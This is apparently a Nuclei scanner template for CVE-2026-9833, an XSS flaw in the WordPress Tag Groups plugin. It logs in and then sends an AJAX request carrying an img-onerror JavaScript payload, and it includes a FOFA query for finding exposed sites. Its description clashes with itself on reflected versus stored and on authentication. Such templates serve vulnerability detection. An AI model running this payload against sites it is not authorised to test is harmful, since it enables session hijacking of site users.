Copy
id: CVE-2026-9833
info:
name: WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting
author: anirbala98
severity: high
description: |
The Tag Groups WordPress plugin < 2.2.0 contains a stored XSS caused by improper escaping of an AJAX parameter reflected in an HTML response, letting unauthenticated attackers execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, exploit requires victim interaction.
impact: |
Attackers can execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, potentially leading to session hijacking or privilege escalation.
remediation: |
Update the Tag Groups plugin to version 2.2.0 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-9833
- https://wpscan.com/vulnerability/75792c33-2d9d-46db-a98c-00ec40951099/
- https://wordpress.org/plugins/tag-groups/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2026-9833
epss-score: 0.00524
epss-percentile: 0.42879
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: publishpress
product: tag-groups
fofa-query: body="/wp-content/plugins/tag-groups/"
tags: cve,cve2026,wordpress,wp-plugin,tag-groups,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin-ajax.php?action=tg_ajax_manage_groups&tag_groups_task=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&nonce=fake HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<img src=x onerror=alert(document.domain)>")'
condition: and
# digest: 4a0a0047304502201f839c0576ad0a28066f80a45b80fbb5cb0d9d4c913452a97aec270f6287bfa9022100b3c645d1d4bdfacb463bf94c39b955c84cd19bb3886f08e7996abd80fd4e666c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.